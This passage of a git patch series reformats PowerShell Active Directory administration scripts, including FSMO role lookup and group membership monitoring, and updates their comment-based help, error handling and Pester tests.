$Sheet.Cells.Item($Row, $Column) = $header.toupper() - $Column++ - } - # set some formatting values for the first row - $WorkBook = $Sheet.UsedRange - $WorkBook.Interior.ColorIndex = 19 - $WorkBook.Font.ColorIndex = 11 - $WorkBook.Font.Bold = $True - $WorkBook.HorizontalAlignment = -4108 - } - $Row++ - foreach ($header in $property) - { - # now for each object we can just enumerate the headers, find the matching property - # and load the data into the correct cell in the current row. - # this way we don’t have to worry about missing properties - # or the “ordering” of the properties - if ($thisColumn = $HeaderHash[$header]) - { - if ($raw) - { - $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.properties.$header - } - else - { - $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.$header - } - } - } - } + PROCESS + { + if ($_ -eq $null) { return } + if ($Row -eq 1) + { + # when we see the first object, we need to build our header table + if (-not $property) + { + # if we haven’t been provided a list of properties, + # we’ll build one from the object’s properties + $property = @() + if ($raw) + { + $_.properties.PropertyNames | + ForEach-Object -Process { + $property += @($_) + } + } + else + { + $_.PsObject.get_properties() | + ForEach-Object -Process { + $property += @($_.Name.ToString()) + } + } + } + $Column = 1 + foreach ($header in $property) + { + # iterate through the property list and load the headers into the first row + # also build a hash table so we can retrieve the correct column number + # when we process each object + $HeaderHash[$header] = $Column + $Sheet.Cells.Item($Row, $Column) = $header.toupper() + $Column++ + } + # set some formatting values for the first row + $WorkBook = $Sheet.UsedRange + $WorkBook.Interior.ColorIndex = 19 + $WorkBook.Font.ColorIndex = 11 + $WorkBook.Font.Bold = $True + $WorkBook.HorizontalAlignment = -4108 + } + $Row++ + foreach ($header in $property) + { + # now for each object we can just enumerate the headers, find the matching property + # and load the data into the correct cell in the current row. + # this way we don’t have to worry about missing properties + # or the “ordering” of the properties + if ($thisColumn = $HeaderHash[$header]) + { + if ($raw) + { + $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.properties.$header + } + else + { + $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.$header + } + } + } + } - end - { - # now just resize the columns and we’re finished - if ($Row -gt 1) { [void]$WorkBook.EntireColumn.AutoFit() } - } + end + { + # now just resize the columns and we’re finished + if ($Row -gt 1) { [void]$WorkBook.EntireColumn.AutoFit() } + } } \ No newline at end of file From 46328387acf4c381557adf1ef69809450c7a4d12 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:57 -0800 Subject: [PATCH 191/561] fix command based help --- .../Remove-StringLatinCharacter.ps1 | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index a1d90ff0..78a1de8c 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -3,8 +3,10 @@ <# .SYNOPSIS Function to remove diacritics from a string +.DESCRIPTION + Function to remove diacritics from a string .PARAMETER String - Specifies the String that will be processed + Specifies the String that will be processed .EXAMPLE Remove-StringLatinCharacter -String "L'été de Raphaël" @@ -40,12 +42,12 @@ Add Error Handling #> [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline=$true)] - [System.String[]]$String - ) - PROCESS - { + PARAM ( + [Parameter(ValueFromPipeline=$true)] + [System.String[]]$String + ) + PROCESS + { FOREACH ($StringValue in $String) { Write-Verbose -Message "$StringValue" @@ -54,10 +56,10 @@ { [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($StringValue)) } - CATCH + CATCH { Write-Error -Message $Error[0].exception.message } } - } + } } \ No newline at end of file From 3efe3b436562d1394c984afd3fd3654a7fd0dbc6 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:55:04 -0800 Subject: [PATCH 192/561] fix command based help --- .../Remove-StringSpecialCharacter.ps1 | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index f599abaf..a6367ad7 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -1,7 +1,9 @@ -function Remove-StringSpecialCharacter { - <# +function Remove-StringSpecialCharacter +{ +<# .SYNOPSIS This function will remove the special character from a string. + .DESCRIPTION This function will remove the special character from a string. I'm using Unicode Regular Expressions with the following categories @@ -14,18 +16,19 @@ function Remove-StringSpecialCharacter { .PARAMETER String Specifies the String on which the special character will be removed -.SpecialCharacterToKeep +.PARAMETER SpecialCharacterToKeep Specifies the special character to keep in the output .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" + Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" wow + .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" + Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" wow .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" + Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" wow-_* .NOTES From 9b87160bd1021ff0d3d6d72774bb0916af670032 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 23:05:43 -0800 Subject: [PATCH 193/561] Update Pester tests --- tests/help.tests.ps1 | 40 +++++++++++++++++++++++++--------------- 1 file changed, 25 insertions(+), 15 deletions(-) diff --git a/tests/help.tests.ps1 b/tests/help.tests.ps1 index e6a5acd1..eaa0c2af 100644 --- a/tests/help.tests.ps1 +++ b/tests/help.tests.ps1 @@ -1,31 +1,34 @@ $scripts = Get-ChildItem -Path (Split-Path $PSScriptRoot -parent) -Recurse -Filter *.ps1 | - Where-Object -FilterScript { - $_.FullName -NotMatch '.Tests.' -and - $_.Fullname -notmatch [regex]::Escape('_Profiles') -and - $_.Fullname -notmatch [regex]::Escape('_Template') - } | Sort-Object +Where-Object -FilterScript { + $_.FullName -NotMatch '.Tests.' -and + $_.Fullname -notmatch [regex]::Escape('_Profiles') -and + $_.Fullname -notmatch [regex]::Escape('_Template') +} | Sort-Object [regex]$regex = "(^[A-Z\-]+-)" -Describe -Tag 'Help' 'Help' { - +Describe 'Comment based help' -Tag @('Help') { foreach ($script in $scripts) { + $FileContent = Get-Content -Path $script.FullName -TotalCount 1 Context "[$($script.BaseName)] Validate Comment Based Help" { # Correct name where file name does not match function name if ($script.Name -Match $regex) { $name = $script.BaseName.Replace($Matches[0], '') - } elseif ($script.Name -match 'O365-') { + } + elseif ($script.Name -match 'O365-') { $name = $script.BaseName.Replace($Matches[0], '') - } elseif ($script.Name -match 'Function_Template.ps1') { + } + elseif ($script.Name -match 'Function_Template.ps1') { $name = 'Get-Something' - } else { + } + else { $name = $script.BaseName } # Only process functions and not scripts - if ((Get-Content -Path $script.FullName -TotalCount 1) -match 'function') { + if ($FileContent -match 'function') { # Dot Source script . $($script.FullName) @@ -46,17 +49,24 @@ Describe -Tag 'Help' 'Help' { $functionHelp.Examples | Should Not BeNullOrEmpty } - if($functionAST.ParamBlock) - { + if ($functionAST.ParamBlock) { It 'Contains Parameters' { $functionHelp.Parameters | Should Not BeNullOrEmpty } } - } else { - It "[$($script.BaseName)] is not a function" { + } + else { + It "[$($script.BaseName)] is not a unique function" { } -Skip } } } } +Describe 'func' -Tag @('func') { + foreach ($myscript in $scripts) { + it "[$($myscript.BaseName)] `$Error[*]" { + "$($myscript.FullName)" | Should -Not -FileContentMatch ([regex]::Escape('$error[')) + } + } +} From 03fce093b58f4d14acd0ffcc57f618c47629d849 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 23:05:52 -0800 Subject: [PATCH 194/561] Update error handling --- AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 index b07805a6..e90ca30c 100644 --- a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 +++ b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 @@ -44,7 +44,7 @@ Write-Warning -Message "[BEGIN] Something wrong happened" IF ($ErrorBeginIpmoAD) { Write-Warning -Message "[BEGIN] Error while Importing the module Active Directory" } IF ($ErrorBeginIpmoGP) { Write-Warning -Message "[BEGIN] Error while Importing the module Group Policy" } - Write-Warning -Message "[BEGIN] $($Error[0].exception.message)" + $PSCmdlet.ThrowTerminatingError($_) } } PROCESS @@ -92,7 +92,7 @@ IF ($ErrorProcessGetDC) { Write-Warning -Message "[PROCESS] Error while running retrieving Domain Controllers with Get-ADDomainController" } IF ($ErrorProcessGetGPO) { Write-Warning -Message "[PROCESS] Error while running Get-GPO" } IF ($ErrorProcessGetGPOAll) { Write-Warning -Message "[PROCESS] Error while running Get-GPO -All" } - Write-Warning -Message "[PROCESS] $($Error[0].exception.message)" + $PSCmdlet.ThrowTerminatingError($_) } }#FOREACH }#PROCESS From ccf8cf9fd87e98049ab3edf96bed3cd47e879a51 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 23:08:11 -0800 Subject: [PATCH 195/561] Update error handling --- AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 index 7f205011..4deb8034 100644 --- a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 +++ b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 @@ -35,8 +35,7 @@ } CATCH { - Write-Warning -Message "[BEGIN] An Error occured" - Write-Warning -Message $error[0].exception.message + $PSCmdlet.ThrowTerminatingError($_) } } PROCESS @@ -74,8 +73,8 @@ }#FOREACH ($Obj in $Object) }#TRY CATCH{ - Write-Warning -Message "[PROCESS] An Error occured" - Write-Warning -Message $error[0].exception.message } + $PSCmdlet.ThrowTerminatingError($_) + } }#PROCESS END { From c81fc60271c159079eeba2e0d700e08800531f00 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 23:08:15 -0800 Subject: [PATCH 196/561] Update error handling --- AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 index 90c49c05..88becc9e 100644 --- a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 +++ b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 @@ -117,8 +117,7 @@ }#TRY CATCH { - Write-Warning -Message "[PROCESS] Something wrong happened!" - Write-Warning -Message $error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } }#PROCESS END { Write-Verbose -Message "[END] Function Get-ADSITokenGroup End." } From 8938f00d636cfcb253c025f5dd5637fcbca8c88a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 23:09:13 -0800 Subject: [PATCH 197/561] Update error handling --- AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index 55f1af1e..ba721e28 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -101,8 +101,7 @@ Write-Verbose -Message "$subnet - Subnet added." }#TRY CATCH{ - Write-Warning -Message "An error happened while creating the subnet: $subnet" - $error[0].Exception + $PSCmdlet.ThrowTerminatingError($_) }#CATCH }#PROCESS Block END{ From 3883fca7b6a6944a8572e9c81094c5f8b54db2d2 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 15:01:49 -0800 Subject: [PATCH 198/561] Add basic pester to detect error handling --- tests/help.tests.ps1 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/help.tests.ps1 b/tests/help.tests.ps1 index eaa0c2af..05a948db 100644 --- a/tests/help.tests.ps1 +++ b/tests/help.tests.ps1 @@ -64,9 +64,12 @@ Describe 'Comment based help' -Tag @('Help') { } Describe 'func' -Tag @('func') { foreach ($myscript in $scripts) { - it "[$($myscript.BaseName)] `$Error[*]" { + it "[$($myscript.BaseName)] `$Error[*] Variable should not be present" { "$($myscript.FullName)" | Should -Not -FileContentMatch ([regex]::Escape('$error[')) } + it "[$($myscript.BaseName)] Error Handling should be present" { + "$($myscript.FullName)" | Should -FileContentMatch 'try|try\s+{' + } } } From a0227140e9fa9a4f6f2ef1cd5b82bdda5cc21665 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 15:02:11 -0800 Subject: [PATCH 199/561] Reformat script --- .../AD-FSMO-Get-ADFSMORole.ps1 | 23 ++++++++----------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index 2899e1b0..c1100166 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -1,5 +1,4 @@ -function Get-ADFSMORole -{ +function Get-ADFSMORole { <# .SYNOPSIS Retrieve the FSMO Role in the Forest/Domain. @@ -32,19 +31,16 @@ [pscredential] $Credential = [System.Management.Automation.PSCredential]::Empty )#PARAM - TRY - { + TRY { # Load ActiveDirectory Module if not already loaded. IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } - IF ($PSBoundParameters['Credential']) - { + IF ($PSBoundParameters['Credential']) { # Query with the credentials specified $ForestRoles = Get-ADForest -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADForest $DomainRoles = Get-ADDomain -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADDomain } - ELSE - { + ELSE { # Query with the current credentials $ForestRoles = Get-ADForest $DomainRoles = Get-ADDomain @@ -52,17 +48,16 @@ # Define Properties $Properties = @{ - SchemaMaster = $ForestRoles.SchemaMaster - DomainNamingMaster = $ForestRoles.DomainNamingMaster + SchemaMaster = $ForestRoles.SchemaMaster + DomainNamingMaster = $ForestRoles.DomainNamingMaster InfraStructureMaster = $DomainRoles.InfraStructureMaster - RIDMaster = $DomainRoles.RIDMaster - PDCEmulator = $DomainRoles.PDCEmulator + RIDMaster = $DomainRoles.RIDMaster + PDCEmulator = $DomainRoles.PDCEmulator } New-Object -TypeName PSObject -Property $Properties } - CATCH - { + CATCH { $PSCmdlet.ThrowTerminatingError($_) } } \ No newline at end of file From 212419d3ae88a83186ec3cca1465c57beeabda33 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 15:15:01 -0800 Subject: [PATCH 200/561] Reformat script --- .../AD-GROUP-Monitor_MemberShip.ps1 | 179 ++++++------------ 1 file changed, 62 insertions(+), 117 deletions(-) diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index 3f1e8e36..aa11ee0c 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -239,7 +239,7 @@ PARAM ( [String]$GroupType, [Parameter(ParameterSetName = "File", Mandatory = $true)] - [ValidateScript({ Test-Path -Path $_ })] + [ValidateScript( { Test-Path -Path $_ })] [String[]]$File, [Parameter()] @@ -259,27 +259,22 @@ PARAM ( [Parameter()] [ValidateSet("ASCII", "UTF8", "UTF7", "UTF32", "Unicode", "BigEndianUnicode", "Default")] - [String]$EmailEncoding="ASCII", + [String]$EmailEncoding = "ASCII", [Parameter()] [Switch]$HTMLLog ) -BEGIN -{ - TRY - { - +BEGIN { + TRY { # Set the Paths Variables and create the folders if not present $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) $ScriptPathOutput = $ScriptPath + "\Output" - IF (!(Test-Path -Path $ScriptPathOutput)) - { + IF (!(Test-Path -Path $ScriptPathOutput)) { Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" New-Item -Path $ScriptPathOutput -ItemType Directory | Out-Null } $ScriptPathChangeHistory = $ScriptPath + "\ChangeHistory" - IF (!(Test-Path -Path $ScriptPathChangeHistory)) - { + IF (!(Test-Path -Path $ScriptPathChangeHistory)) { Write-Verbose -Message "[BEGIN] Creating the ChangeHistory Folder : $ScriptPathChangeHistory" New-Item -Path $ScriptPathChangeHistory -ItemType Directory | Out-Null } @@ -288,38 +283,31 @@ BEGIN $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" - # Active Directory Module - IF (Get-Module -Name ActiveDirectory -ListAvailable) #verify ad module is installed - { + IF (Get-Module -Name ActiveDirectory -ListAvailable) { #verify ad module is installed Write-Verbose -Message "[BEGIN] Active Directory Module" # Verify Ad module is loaded - IF (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetADModule)) - { + IF (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetADModule)) { Write-Verbose -Message "[BEGIN] Active Directory Module - Loading" Import-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINAddADModule Write-Verbose -Message "[BEGIN] Active Directory Module - Loaded" $global:ADModule = $true } - ELSE - { + ELSE { Write-Verbose -Message "[BEGIN] Active Directory module seems loaded" $global:ADModule = $true } } - ELSE # Else we try to load Quest Ad Cmdlets - { + ELSE { # Else we try to load Quest Ad Cmdlets Write-Verbose -Message "[BEGIN] Quest AD Snapin" # Verify Quest Active Directory Snapin is loaded - IF (-not (Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINGetQuestAD)) - { + IF (-not (Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINGetQuestAD)) { Write-Verbose -Message "[BEGIN] Quest Active Directory - Loading" Add-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINAddQuestAd Write-Verbose -Message "[BEGIN] Quest Active Directory - Loaded" $global:QuestADSnappin = $true } - ELSE - { + ELSE { Write-Verbose -Message "[BEGIN] Quest AD Snapin seems loaded" } } @@ -346,8 +334,7 @@ BEGIN }#TRY - CATCH - { + CATCH { Write-Warning -Message "[BEGIN] Something went wrong" #Show last error @@ -363,35 +350,28 @@ BEGIN if ($ErrorBEGINAddADmodule) { Write-Warning -Message "[BEGIN] Can't load the Active Directory module" } }#CATCH }#BEGIN - -PROCESS -{ - TRY - { +PROCESS { + TRY { # # # # # # # # # # # # # # # # # # SEARCHROOT parameter specified# # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['SearchRoot']) - { + IF ($PSBoundParameters['SearchRoot']) { Write-Verbose -Message "[PROCESS] SearchRoot specified" - FOREACH ($item in $SearchRoot) - { + FOREACH ($item in $SearchRoot) { # ADGroup Splatting $ADGroupParams = @{ } # ActiveDirectory Module - IF ($ADModule) - { + IF ($ADModule) { $ADGroupParams.SearchBase = $item # Server Specified - IF ($PSBoundParameters['Server']) { $ADGroupParams.Server = $Server} + IF ($PSBoundParameters['Server']) { $ADGroupParams.Server = $Server } } - IF ($QuestADSnappin) - { + IF ($QuestADSnappin) { $ADGroupParams.SearchRoot = $item # Server Specified @@ -402,8 +382,7 @@ PROCESS # # # # # # # # # # # # # # # # # # # SEARCHSCOPE Parameter specified # # # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['SearchScope']) - { + IF ($PSBoundParameters['SearchScope']) { Write-Verbose -Message "[PROCESS] SearchScope specified" $ADGroupParams.SearchScope = $SearchScope } @@ -412,8 +391,7 @@ PROCESS # # # # # # # # # # # # # # # # # # GROUPSCOPE Parameter specified# # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['GroupScope']) - { + IF ($PSBoundParameters['GroupScope']) { Write-Verbose -Message "[PROCESS] GroupScope specified" # ActiveDirectory Module Parameter IF ($ADModule) { $ADGroupParams.Filter = "GroupScope -eq `'$GroupScope`'" } @@ -425,52 +403,45 @@ PROCESS # # # # # # # # # # # # # # # # # # GROUPTYPE Parameter specified # # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['GroupType']) - { + IF ($PSBoundParameters['GroupType']) { Write-Verbose -Message "[PROCESS] GroupType specified" # ActiveDirectory Module - IF ($ADModule) - { + IF ($ADModule) { # ActiveDirectory Module Parameter - IF ($ADGroupParams.Filter) - { + IF ($ADGroupParams.Filter) { $ADGroupParams.Filter = "$($ADGroupParams.Filter) -and GroupCategory -eq `'$GroupType`'" } - ELSE - { + ELSE { $ADGroupParams.Filter = "GroupCategory -eq '$GroupType'" } } # Quest ActiveDirectory Snapin - ELSE - { + ELSE { $ADGroupParams.GroupType = $GroupType } }#IF ($PSBoundParameters['GroupType']) - IF ($ADModule) - { - IF (-not($ADGroupParams.filter)){$ADGroupParams.Filter = "*"} + IF ($ADModule) { + IF (-not($ADGroupParams.filter)) { $ADGroupParams.Filter = "*" } Write-Verbose -Message "[PROCESS] AD Module - Querying..." # Add the groups to the variable $Group $GroupSearch = Get-ADGroup @ADGroupParams - if ($GroupSearch){ + if ($GroupSearch) { $group += $GroupSearch.Distinguishedname Write-Verbose -Message "[PROCESS] OU: $item" } } - IF ($QuestADSnappin) - { + IF ($QuestADSnappin) { Write-Verbose -Message "[PROCESS] Quest AD Snapin - Querying..." # Add the groups to the variable $Group $GroupSearchQuest = Get-QADGroup @ADGroupParams - if ($GroupSearchQuest){ + if ($GroupSearchQuest) { $group += $GroupSearchQuest.DN Write-Verbose -Message "[PROCESS] OU: $item" } @@ -486,17 +457,14 @@ PROCESS # FILE parameter specified # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['File']) - { + IF ($PSBoundParameters['File']) { Write-Verbose -Message "[PROCESS] File" - FOREACH ($item in $File) - { + FOREACH ($item in $File) { Write-Verbose -Message "[PROCESS] Loading File: $item" $FileContent = Get-Content -Path $File - if ($FileContent) - { + if ($FileContent) { # Add the groups to the variable $Group $Group += Get-Content -Path $File } @@ -513,10 +481,8 @@ PROCESS # # # # # # # # # # # # # # # # # # # # # # # # # # # # This will run for any parameter set name ParameterSetName = OU, Group or File - FOREACH ($item in $Group) - { - TRY - { + FOREACH ($item in $Group) { + TRY { Write-Verbose -Message "[PROCESS] GROUP: $item... " @@ -525,8 +491,7 @@ PROCESS $GroupSplatting.Identity = $item # Group Information - if ($ADModule) - { + if ($ADModule) { Write-Verbose -Message "[PROCESS] ActiveDirectory module" # Add the Server if specified @@ -537,8 +502,7 @@ PROCESS $DomainName = ($GroupName.canonicalname -split '/')[0] $RealGroupName = $GroupName.name } - if ($QuestADSnappin) - { + if ($QuestADSnappin) { Write-Verbose -Message "[PROCESS] Quest ActiveDirectory Snapin" # Add the Server if specified @@ -551,8 +515,7 @@ PROCESS } # GroupName Found - IF ($GroupName) - { + IF ($GroupName) { # Splatting for the AD Group Members Request $GroupMemberSplatting = @{ } @@ -560,18 +523,16 @@ PROCESS # Get GroupName Membership - if ($ADModule) - { + if ($ADModule) { Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (AD Module)" # Add the Server if specified IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Server = $Server } # Look for Members - $Members = Get-ADGroupMember @GroupMemberSplatting -Recursive -ErrorAction Stop -ErrorVariable ErrorProcessGetADGroupMember | Select-Object -Property *,@{ Name = 'DN'; Expression = { $_.DistinguishedName } } + $Members = Get-ADGroupMember @GroupMemberSplatting -Recursive -ErrorAction Stop -ErrorVariable ErrorProcessGetADGroupMember | Select-Object -Property *, @{ Name = 'DN'; Expression = { $_.DistinguishedName } } } - if ($QuestADSnappin) - { + if ($QuestADSnappin) { Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (Quest AD Snapin)" # Add the Server if specified @@ -581,11 +542,10 @@ PROCESS } # NO MEMBERS, Add some info in $members to avoid the $null # If the value is $null the compare-object won't work - IF (-not ($Members)) - { + IF (-not ($Members)) { Write-Verbose -Message "[PROCESS] GROUP: $item is empty" $Members = New-Object -TypeName PSObject -Property @{ - Name = "No User or Group" + Name = "No User or Group" SamAccountName = "No User or Group" } } @@ -594,14 +554,12 @@ PROCESS # GroupName Membership File # If the file doesn't exist, assume we don't have a record to refer to $StateFile = "$($DomainName)_$($RealGroupName)-membership.csv" - IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))) - { + IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))) { Write-Verbose -Message "[PROCESS] $item - The following file did not exist: $StateFile" Write-Verbose -Message "[PROCESS] $item - Exporting the current membership information into the file: $StateFile" $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation } - ELSE - { + ELSE { Write-Verbose -Message "[PROCESS] $item - The following file Exists: $StateFile" } @@ -629,8 +587,7 @@ PROCESS #> # CHANGES FOUND ! - If ($Changes) - { + If ($Changes) { Write-Verbose -Message "[PROCESS] $item - Some changes found" $changes | Select-Object -Property DateTime, State, Name, SamAccountName, DN @@ -641,17 +598,14 @@ PROCESS Write-Verbose -Message "[PROCESS] $item - Change history files: $(($ChangesHistoryFiles|Measure-Object).Count)" # Process each history changes - IF ($ChangesHistoryFiles) - { + IF ($ChangesHistoryFiles) { $infoChangeHistory = @() - FOREACH ($file in $ChangesHistoryFiles.FullName) - { + FOREACH ($file in $ChangesHistoryFiles.FullName) { Write-Verbose -Message "[PROCESS] $item - Change history files - Loading $file" # Import the file and show the $file creation time and its content $ImportedFile = Import-Csv -Path $file -ErrorAction Stop -ErrorVariable ErrorProcessImportCSVChangeHistory - FOREACH ($obj in $ImportedFile) - { - $Output = "" | Select-Object -Property DateTime, State, DisplayName,Name, SamAccountName, DN + FOREACH ($obj in $ImportedFile) { + $Output = "" | Select-Object -Property DateTime, State, DisplayName, Name, SamAccountName, DN #$Output.DateTime = $file.CreationTime.GetDateTimeFormats("u") | Out-String $Output.DateTime = $obj.DateTime $Output.State = $obj.State @@ -668,12 +622,10 @@ PROCESS # CHANGE(S) EXPORT TO CSV Write-Verbose -Message "[PROCESS] $item - Save changes to a ChangesHistory file" - IF (-not (Test-Path -path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv"))) - { + IF (-not (Test-Path -path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv"))) { $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation } - ELSE - { + ELSE { #$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$DomainName_$RealGroupName-ChangeHistory-$DateFormat.csv") -NoTypeInformation $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation -Append } @@ -699,12 +651,11 @@ PROCESS $body += "The membership of this group changed. See the following Added or Removed members." # Removing the old DisplayName Property - $Changes = $changes | Select-Object -Property DateTime, State,Name, SamAccountName, DN + $Changes = $changes | Select-Object -Property DateTime, State, Name, SamAccountName, DN $body += $changes | ConvertTo-Html -head $head | Out-String $body += "


